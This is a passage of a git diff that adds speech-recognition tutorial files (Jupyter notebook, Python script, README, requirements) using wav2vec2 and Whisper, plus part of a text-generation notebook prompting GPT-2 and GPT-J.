"8lZGLPw9yYOx" + }, + "outputs": [], + "source": [ + "forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language=\"english\", task=\"transcribe\")" + ] + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "CyFAkTqSyvfy", + "outputId": "24efe50f-6467-4e5b-d5ee-6c101df9566d" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "[(1, 50259), (2, 50359), (3, 50363)]" + ] + }, + "execution_count": 14, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "forced_decoder_ids" + ] + }, + { + "cell_type": "code", + "execution_count": 15, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "N3kN0ieAs4y6", + "outputId": "af61865c-db65-449d-9f76-f90dec77c544" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "torch.Size([1, 80, 3000])" + ] + }, + "execution_count": 15, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "input_features.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "FwN0416XsI4s", + "outputId": "92f436a4-6af4-42d2-d774-94af91e2c57e" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.10/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n", + " warnings.warn(\n" + ] + }, + { + "data": { + "text/plain": [ + "torch.Size([1, 68])" + ] + }, + "execution_count": 16, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n", + "predicted_ids.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "HCIe1xoALIzi", + "outputId": "6bb77e6c-449c-4308-d43f-30721578299a" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "[' and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.']" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True)\n", + "transcription" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "aK7gu9L1sNJh", + "outputId": "9e66ff70-dc26-4de8-da20-d0598c7c0f21" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "['<|startoftranscript|><|en|><|transcribe|><|notimestamps|> and Mrs. Goddard, three ladies almost always at the service of an invitation from Hartfield, and who were fetched and carried home so often that Mr. Woodhouse sought it no hardship for either James or the horses. Had it taken place only once a year it would have been a grievance.<|endoftext|>']" + ] + }, + "execution_count": 18, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False)\n", + "transcription" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": { + "id": "V1MIY7i37bg5" + }, + "outputs": [], + "source": [ + "def get_transcription_whisper(audio_path, model, processor, language=\"english\", skip_special_tokens=True):\n", + " # resample from whatever the audio sampling rate to 16000\n", + " speech = load_audio(audio_path)\n", + " input_features = processor(speech, return_tensors=\"pt\", sampling_rate=16000).input_features.to(device)\n", + " forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task=\"transcribe\")\n", + " # print(forced_decoder_ids)\n", + " predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids)\n", + " transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0]\n", + " return transcription" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "id": "04bekvh4GEQN", + "outputId": "1edc0912-de09-4a69-b8c4-ca3fb7130c28" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "' ورجح التقرير الذي أعده معهد أبحاث هضبة التبت في الأكاديمية الصينية للعلوم أن تستمر درجات الحرارة ومستويات الرتوبة في الارتفاع طوال هذا القرن.'" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "arabic_transcription = get_transcription_whisper(\"https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav/",\n", + " whisper_model,\n", + " whisper_processor,\n", + " language=\"arabic\",\n", + " skip_special_tokens=True)\n", + "arabic_transcription" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "id": "FAHA98CgHols", + "outputId": "7ea44035-e008-4ff2-9727-46706e725f73" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "' ¿Cuál es la fecha de tu cumpleaños?'" + ] + }, + "execution_count": 24, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "spanish_transcription = get_transcription_whisper(\"https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3/",\n", + " whisper_model,\n", + " whisper_processor,\n", + " language=\"spanish\",\n", + " skip_special_tokens=True)\n", + "spanish_transcription" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QTZlrT-B21VC" + }, + "outputs": [], + "source": [ + "from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE \n", + "# supported languages\n", + "TO_LANGUAGE_CODE " + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "6cZZ7MeTUv0S" + }, + "source": [ + "# Transcribe your Voice" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "3FdjIsOlKBRJ", + "outputId": "5df28a41-0943-4d6f-c7b3-446b26c9c906" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "/content/silero-models\n" + ] + } + ], + "source": [ + "!git clone -q --depth 1 https://github.com/snakers4/silero-models\n", + "\n", + "%cd silero-models" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 110, + "referenced_widgets": [ + "1c348712a37045239a35b41430756d4d", + "32d1d0fb4ee748108d01fa01fbfb5473", + "8035a1813fce41cfad51849aea43a446" + ] + }, + "id": "GZTvRVznIcn_", + "outputId": "f1772b6a-6eaa-4c4e-fbaa-ccdbad8ea2c7" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Starting recording for 20 seconds...\n" + ] + }, + { + "data": { + "application/javascript": "\n const sleep = time => new Promise(resolve => setTimeout(resolve, time))\n const b2text = blob => new Promise(resolve => {\n const reader = new FileReader()\n reader.onloadend = e => resolve(e.srcElement.result)\n reader.readAsDataURL(blob)\n })\n var record = time => new Promise(async resolve => {\n stream = await navigator.mediaDevices.getUserMedia({ audio: true })\n recorder = new MediaRecorder(stream)\n chunks = []\n recorder.ondataavailable = e => chunks.push(e.data)\n recorder.start()\n await sleep(time)\n recorder.onstop = async ()=>{\n blob = new Blob(chunks)\n text = await b2text(blob)\n resolve(text)\n }\n recorder.stop()\n })\n ", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Finished recording!\n" + ] + }, + { + "data": { + "text/html": [ + "\n", + " \n", + " " + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "from IPython.display import Audio, display, clear_output\n", + "from colab_utils import record_audio\n", + "import ipywidgets as widgets\n", + "from scipy.io import wavfile\n", + "import numpy as np\n", + "\n", + "\n", + "record_seconds = 20#@param {type:\"number\", min:1, max:10, step:1}\n", + "sample_rate = 16000\n", + "\n", + "def _record_audio(b):\n", + " clear_output()\n", + " audio = record_audio(record_seconds)\n", + " display(Audio(audio, rate=sample_rate, autoplay=True))\n", + " wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16))\n", + "\n", + "button = widgets.Button(description=\"Record Speech\")\n", + "button.on_click(_record_audio)\n", + "display(button)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "K0Ka85iA2gUC", + "outputId": "e7dc81d0-442a-4440-a58e-0288af34be8a" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "/usr/local/lib/python3.9/dist-packages/transformers/generation/utils.py:1313: UserWarning: Using `max_length`'s default (448) to control the generation length. This behaviour is deprecated and will be removed from the config in v5 of Transformers -- we recommend using `max_new_tokens` to control the maximum length of the generation.\n", + " warnings.warn(\n" + ] + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Whisper: In 1905, Einstein published four groundbreaking papers. These outlined the theory of the photoelectric effect, explained Brownian motion, introduced special relativity, and demonstrated mass-energy equivalence. Einstein thought that the laws of\n", + "Wav2vec2: in nineteen o five ennstein published foreground brickin papers thise outlined the theory of the photo electric effect explained brownin motion introduced special relativity and demonstrated mass energy equivalents ennstein thought that the laws\n" + ] + } + ], + "source": [ + "print(\"Whisper:\", get_transcription_whisper(\"recorded.wav\", whisper_model, whisper_processor))\n", + "print(\"Wav2vec2:\", get_transcription_wav2vec2(\"recorded.wav\", wav2vec2_model, wav2vec2_processor))" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "UbQxYoBXl9c7" + }, + "source": [ + "# Transcribing Long Audio Samples" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": { + "id": "HLbh4VJxkxJp" + }, + "outputs": [], + "source": [ + "def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, \n", + " chunk_length_s=10, stride_length_s=2):\n", + " \"\"\"Get the transcription of a long audio file using the Whisper model\"\"\"\n", + " return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps,\n", + " chunk_length_s=chunk_length_s, stride_length_s=stride_length_s)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2QypuIDAk5QK" + }, + "outputs": [], + "source": [ + "# initialize the pipeline\n", + "pipe = pipeline(\"automatic-speech-recognition\", \n", + " model=whisper_model_name, device=device)" + ] + }, + { + "cell_type": "code", + "execution_count": 22, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "MwsBPkdSk7jn", + "outputId": "96b0582a-0743-45ec-d833-7ca21ffa706d" + }, + "outputs": [ + { + "name": "stderr", + "output_type": "stream", + "text": [ + "Disabling tokenizer parallelism, we're using DataLoader multithreading already\n" + ] + } + ], + "source": [ + "# get the transcription of a sample long audio file\n", + "output = get_long_transcription_whisper(\n", + " \"https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav/", \n", + " pipe, chunk_length_s=10, stride_length_s=1)" + ] + }, + { + "cell_type": "code", + "execution_count": 23, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 72 + }, + "id": "5xON5pvWlEEK", + "outputId": "179d7522-1f09-4176-84bf-5b6f2d85fd28" + }, + "outputs": [ + { + "data": { + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + }, + "text/plain": [ + "' The horse trotted around the field at a brisk pace. Find the twin who stole the pearl necklace. Cut the cord that binds the box tightly. The The red tape bound the smuggled food. Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins. The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..'" + ] + }, + "execution_count": 23, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "output[\"text\"]" + ] + }, + { + "cell_type": "code", + "execution_count": 24, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "AEjVdbKXk96r", + "outputId": "0daaf33a-a397-4a6c-dc3f-d56e5b678c83" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "(0.0, 6.0) : The horse trotted around the field at a brisk pace.\n", + "(6.0, 12.8) : Find the twin who stole the pearl necklace.\n", + "(12.8, 21.0) : Cut the cord that binds the box tightly. The The red tape bound the smuggled food.\n", + "(21.0, 38.0) : Look in the corner to find the tan shirt. The cold drizzle will halt the bond drive. Nine men were hired to dig the ruins.\n", + "(38.0, 58.0) : The junkyard had a moldy smell. The flint sputtered and lit a pine torch. Soak the cloth and drown the sharp odor..\n" + ] + } + ], + "source": [ + "for chunk in output[\"chunks\"]:\n", + " # print the timestamp and the text\n", + " print(chunk[\"timestamp\"], \":\", chunk[\"text\"])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "QsReWl7zlJt9" + }, + "outputs": [], + "source": [] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "gpuType": "T4", + "machine_shape": "hm", + "provenance": [] + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "1c348712a37045239a35b41430756d4d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ButtonModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ButtonView", + "button_style": "", + "description": "Record Speech", + "disabled": false, + "icon": "", + "layout": "IPY_MODEL_32d1d0fb4ee748108d01fa01fbfb5473", + "style": "IPY_MODEL_8035a1813fce41cfad51849aea43a446", + "tooltip": "" + } + }, + "32d1d0fb4ee748108d01fa01fbfb5473": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "8035a1813fce41cfad51849aea43a446": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ButtonStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ButtonStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "button_color": null, + "font_weight": "" + } + } + } + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py new file mode 100644 index 00000000..8cd7f7ba --- /dev/null +++ b/machine-learning/nlp/speech-recognition-transformers/AutomaticSpeechRecognition_PythonCodeTutorial.py @@ -0,0 +1,235 @@ +# %% +!pip install transformers==4.28.1 soundfile sentencepiece torchaudio pydub + +# %% +from transformers import * +import torch +import soundfile as sf +# import librosa +import os +import torchaudio + +device = "cuda:0" if torch.cuda.is_available() else "cpu" + +# %% [markdown] +# # Wav2Vec2.0 Models +# + +# %% +# wav2vec2_model_name = "facebook/wav2vec2-base-960h" # 360MB +wav2vec2_model_name = "facebook/wav2vec2-large-960h-lv60-self" # pretrained 1.26GB +# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-english" # English-only, 1.26GB +# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-arabic" # Arabic-only, 1.26GB +# wav2vec2_model_name = "jonatasgrosman/wav2vec2-large-xlsr-53-spanish" # Spanish-only, 1.26GB + +wav2vec2_processor = Wav2Vec2Processor.from_pretrained(wav2vec2_model_name) +wav2vec2_model = Wav2Vec2ForCTC.from_pretrained(wav2vec2_model_name).to(device) + +# %% +# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.0.wav" +# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2bjrop1.1.wav" +# audio_url = "http://www.fit.vutbr.cz/~motlicek/sympatex/f2btrop6.0.wav" +# audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/16-122828-0002.wav" +audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/30-4447-0004.wav" +# audio_url = "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav" +# audio_url = "https://github.com/x4nth055/pythoncode-tutorials/raw/master/machine-learning/speech-recognition/7601-291468-0006.wav" +# audio_url = "http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav" + +# %% +# load our wav file +speech, sr = torchaudio.load(audio_url) +speech = speech.squeeze() +# or using librosa +# speech, sr = librosa.load(audio_file, sr=16000) +sr, speech.shape + +# %% +# resample from whatever the audio sampling rate to 16000 +resampler = torchaudio.transforms.Resample(sr, 16000) +speech = resampler(speech) +speech.shape + +# %% +# tokenize our wav +input_values = wav2vec2_processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device) +input_values.shape + +# %% +# perform inference +logits = wav2vec2_model(input_values)["logits"] +logits.shape + +# %% +# use argmax to get the predicted IDs +predicted_ids = torch.argmax(logits, dim=-1) +predicted_ids.shape + +# %% +# decode the IDs to text +transcription = wav2vec2_processor.decode(predicted_ids[0]) +transcription.lower() + +# %% +def load_audio(audio_path): + """Load the audio file & convert to 16,000 sampling rate""" + # load our wav file + speech, sr = torchaudio.load(audio_path) + resampler = torchaudio.transforms.Resample(sr, 16000) + speech = resampler(speech) + return speech.squeeze() + +# %% +def get_transcription_wav2vec2(audio_path, model, processor): + speech = load_audio(audio_path) + input_features = processor(speech, return_tensors="pt", sampling_rate=16000)["input_values"].to(device) + # perform inference + logits = model(input_features)["logits"] + # use argmax to get the predicted IDs + predicted_ids = torch.argmax(logits, dim=-1) + transcription = processor.batch_decode(predicted_ids)[0] + return transcription.lower() + +# %% +get_transcription_wav2vec2("http://www0.cs.ucl.ac.uk/teaching/GZ05/samples/lathe.wav", + wav2vec2_model, + wav2vec2_processor) + +# %% [markdown] +# # Whisper Models + +# %% +# whisper_model_name = "openai/whisper-tiny.en" # English-only, ~ 151 MB +# whisper_model_name = "openai/whisper-base.en" # English-only, ~ 290 MB +# whisper_model_name = "openai/whisper-small.en" # English-only, ~ 967 MB +# whisper_model_name = "openai/whisper-medium.en" # English-only, ~ 3.06 GB +# whisper_model_name = "openai/whisper-tiny" # multilingual, ~ 151 MB +# whisper_model_name = "openai/whisper-base" # multilingual, ~ 290 MB +# whisper_model_name = "openai/whisper-small" # multilingual, ~ 967 MB +whisper_model_name = "openai/whisper-medium" # multilingual, ~ 3.06 GB +# whisper_model_name = "openai/whisper-large-v2" # multilingual, ~ 6.17 GB + +whisper_processor = WhisperProcessor.from_pretrained(whisper_model_name) +whisper_model = WhisperForConditionalGeneration.from_pretrained(whisper_model_name).to(device) + +# %% +input_features = whisper_processor(load_audio(audio_url), sampling_rate=16000, return_tensors="pt").input_features.to(device) + +# %% +forced_decoder_ids = whisper_processor.get_decoder_prompt_ids(language="english", task="transcribe") + +# %% +forced_decoder_ids + +# %% +input_features.shape + +# %% +predicted_ids = whisper_model.generate(input_features, forced_decoder_ids=forced_decoder_ids) +predicted_ids.shape + +# %% +transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=True) +transcription + +# %% +transcription = whisper_processor.batch_decode(predicted_ids, skip_special_tokens=False) +transcription + +# %% +def get_transcription_whisper(audio_path, model, processor, language="english", skip_special_tokens=True): + # resample from whatever the audio sampling rate to 16000 + speech = load_audio(audio_path) + input_features = processor(speech, return_tensors="pt", sampling_rate=16000).input_features + forced_decoder_ids = processor.get_decoder_prompt_ids(language=language, task="transcribe") + # print(forced_decoder_ids) + predicted_ids = model.generate(input_features, forced_decoder_ids=forced_decoder_ids) + transcription = processor.batch_decode(predicted_ids, skip_special_tokens=skip_special_tokens)[0] + return transcription + +# %% +arabic_transcription = get_transcription_whisper("https://datasets-server.huggingface.co/assets/arabic_speech_corpus/--/clean/train/0/audio/audio.wav", + whisper_model, + whisper_processor, + language="arabic", + skip_special_tokens=True) +arabic_transcription + +# %% +spanish_transcription = get_transcription_whisper("https://www.lightbulblanguages.co.uk/resources/sp-audio/cual-es-la-fecha-cumple.mp3", + whisper_model, + whisper_processor, + language="spanish", + skip_special_tokens=True) +spanish_transcription + +# %% +from transformers.models.whisper.tokenization_whisper import TO_LANGUAGE_CODE +# supported languages +TO_LANGUAGE_CODE + +# %% [markdown] +# # Transcribe your Voice + +# %% +!git clone -q --depth 1 https://github.com/snakers4/silero-models + +%cd silero-models + +# %% +from IPython.display import Audio, display, clear_output +from colab_utils import record_audio +import ipywidgets as widgets +from scipy.io import wavfile +import numpy as np + + +record_seconds = 20#@param {type:"number", min:1, max:10, step:1} +sample_rate = 16000 + +def _record_audio(b): + clear_output() + audio = record_audio(record_seconds) + display(Audio(audio, rate=sample_rate, autoplay=True)) + wavfile.write('recorded.wav', sample_rate, (32767*audio).numpy().astype(np.int16)) + +button = widgets.Button(description="Record Speech") +button.on_click(_record_audio) +display(button) + +# %% +print("Whisper:", get_transcription_whisper("recorded.wav", whisper_model, whisper_processor)) +print("Wav2vec2:", get_transcription_wav2vec2("recorded.wav", wav2vec2_model, wav2vec2_processor)) + +# %% [markdown] +# # Transcribing Long Audio Samples + +# %% +def get_long_transcription_whisper(audio_path, pipe, return_timestamps=True, + chunk_length_s=10, stride_length_s=2): + """Get the transcription of a long audio file using the Whisper model""" + return pipe(load_audio(audio_path).numpy(), return_timestamps=return_timestamps, + chunk_length_s=chunk_length_s, stride_length_s=stride_length_s) + +# %% +# initialize the pipeline +pipe = pipeline("automatic-speech-recognition", + model=whisper_model_name, device=device) + +# %% +# get the transcription of a sample long audio file +output = get_long_transcription_whisper( + "https://www.voiptroubleshooter.com/open_speech/american/OSR_us_000_0060_8k.wav", + pipe, chunk_length_s=10, stride_length_s=1) + +# %% +output["text"] + +# %% +for chunk in output["chunks"]: + # print the timestamp and the text + print(chunk["timestamp"], ":", chunk["text"]) + +# %% + + + diff --git a/machine-learning/nlp/speech-recognition-transformers/README.md b/machine-learning/nlp/speech-recognition-transformers/README.md new file mode 100644 index 00000000..37c9ac98 --- /dev/null +++ b/machine-learning/nlp/speech-recognition-transformers/README.md @@ -0,0 +1,5 @@ +# [Speech Recognition using Transformers in Python](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) +To get it running: +- `pip3 install -r requirements.txt` + +Check the [the tutorial](https://www.thepythoncode.com/article/speech-recognition-using-huggingface-transformers-in-python) and the [Colab notebook](https://colab.research.google.com/drive/1NwX-czUflXUEMoZNfoKgCQTsjcMKSUul) for more information. \ No newline at end of file diff --git a/machine-learning/nlp/speech-recognition-transformers/requirements.txt b/machine-learning/nlp/speech-recognition-transformers/requirements.txt new file mode 100644 index 00000000..ab309e08 --- /dev/null +++ b/machine-learning/nlp/speech-recognition-transformers/requirements.txt @@ -0,0 +1,5 @@ +transformers==4.28.1 +soundfile +sentencepiece +torchaudio +pyaudio \ No newline at end of file diff --git a/machine-learning/nlp/text-classification/requirements.txt b/machine-learning/nlp/text-classification/requirements.txt index 9758d9e0..30cfbe09 100644 --- a/machine-learning/nlp/text-classification/requirements.txt +++ b/machine-learning/nlp/text-classification/requirements.txt @@ -1,4 +1,4 @@ tqdm numpy -tensorflow==2.0.0 +tensorflow==2.5.3 sklearn diff --git a/machine-learning/nlp/text-generation-transformers/README.md b/machine-learning/nlp/text-generation-transformers/README.md new file mode 100644 index 00000000..5bf2a5ef --- /dev/null +++ b/machine-learning/nlp/text-generation-transformers/README.md @@ -0,0 +1 @@ +# [Text Generation with Transformers in Python](https://www.thepythoncode.com/article/text-generation-with-transformers-in-python) \ No newline at end of file diff --git a/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb b/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..c5cf4b0c --- /dev/null +++ b/machine-learning/nlp/text-generation-transformers/TextGeneration_Transformers_PythonCodeTutorial.ipynb @@ -0,0 +1,214 @@ +{ + "nbformat": 4, + "nbformat_minor": 0, + "metadata": { + "colab": { + "name": "TextGeneration-Transformers-PythonCodeTutorial.ipynb", + "private_outputs": true, + "provenance": [], + "collapsed_sections": [], + "machine_shape": "hm" + }, + "kernelspec": { + "name": "python3", + "display_name": "Python 3" + }, + "language_info": { + "name": "python" + } + }, + "cells": [ + { + "cell_type": "code", + "metadata": { + "id": "6bjli5Z7ZEVh" + }, + "source": [ + "!pip install transformers" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "SPADZcRSY-3Y" + }, + "source": [ + "from transformers import pipeline" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "k0zHPjIkqcEx" + }, + "source": [ + "# download & load GPT-2 model\n", + "gpt2_generator = pipeline('text-generation', model='gpt2')" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "me1PAIvlqwKf" + }, + "source": [ + "# generate 3 different sentences\n", + "# results are sampled from the top 50 candidates\n", + "sentences = gpt2_generator(\"To be honest, neural networks\", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)\n", + "for sentence in sentences:\n", + " print(sentence[\"generated_text\"])\n", + " print(\"=\"*50)" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "aXI92oauZCD4" + }, + "source": [ + "# download & load GPT-J model! It's 22.5GB in size\n", + "gpt_j_generator = pipeline('text-generation', model='EleutherAI/gpt-j-6B')" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "EaOAqXnXtOI0" + }, + "source": [ + "# generate sentences with TOP-K sampling\n", + "sentences = gpt_j_generator(\"To be honest, robots will\", do_sample=True, top_k=50, temperature=0.6, max_length=128, num_return_sequences=3)\n", + "for sentence in sentences:\n", + " print(sentence[\"generated_text\"])\n", + " print(\"=\"*50)" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "6N5qFdcFZG1v" + }, + "source": [ + "# generate Python Code!\n", + "print(gpt_j_generator(\n", + "\"\"\"\n", + "import os\n", + "# make a list of all african countries\n", + "\"\"\",\n", + " do_sample=True, top_k=10, temperature=0.05, max_length=256)[0][\"generated_text\"])" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "-TOTvHiwwbK-" + }, + "source": [ + "print(gpt_j_generator(\n", + "\"\"\"\n", + "import cv2\n", + "\n", + "image = \"image.png\"\n", + "\n", + "# load the image and flip it\n", + "\"\"\",\n", + " do_sample=True, top_k=10, temperature=0.05, max_length=256)[0][\"generated_text\"])" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "_52OftmglAAv" + }, + "source": [ + "# complete bash script!\n", + "print(gpt_j_generator(\n", + "\"\"\"\n", + "# get .py files in /opt directory\n", + "ls *.py /opt\n", + "# get public ip address\n", + "\"\"\", max_length=256, top_k=50, temperature=0.05, do_sample=True)[0][\"generated_text\"])" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "2x527AykVquF" + }, + "source": [ + "# generating bash script!\n", + "print(gpt_j_generator(\n", + "\"\"\"\n", + "# update the repository\n", + "sudo apt-get update\n", + "# install and start nginx\n", + "\"\"\", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0][\"generated_text\"])" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "elK4JyyxwCPM" + }, + "source": [ + "# Java code!\n", + "print(gpt_j_generator(\n", + "\"\"\"\n", + "public class Test {\n", + "\n", + "public static void main(String[] args){\n", + " // printing the first 20 fibonacci numbers\n", + "\"\"\", max_length=128, top_k=50, temperature=0.1, do_sample=True)[0][\"generated_text\"])" + ], + "execution_count": null, + "outputs": [] + }, + { + "cell_type": "code", + "metadata": { + "id": "0US1Tv5xh-F2" + }, + "source": [ + "# LATEX!\n", + "print(gpt_j_generator(\n", + "r\"\"\"\n", + "% list of Asian countries\n", + "\\begin{enumerate}\n", + "\"\"\", max_length=128, top_k=15, temperature=0.1, do_sample=True)[0][\"generated_text\"])" + ], 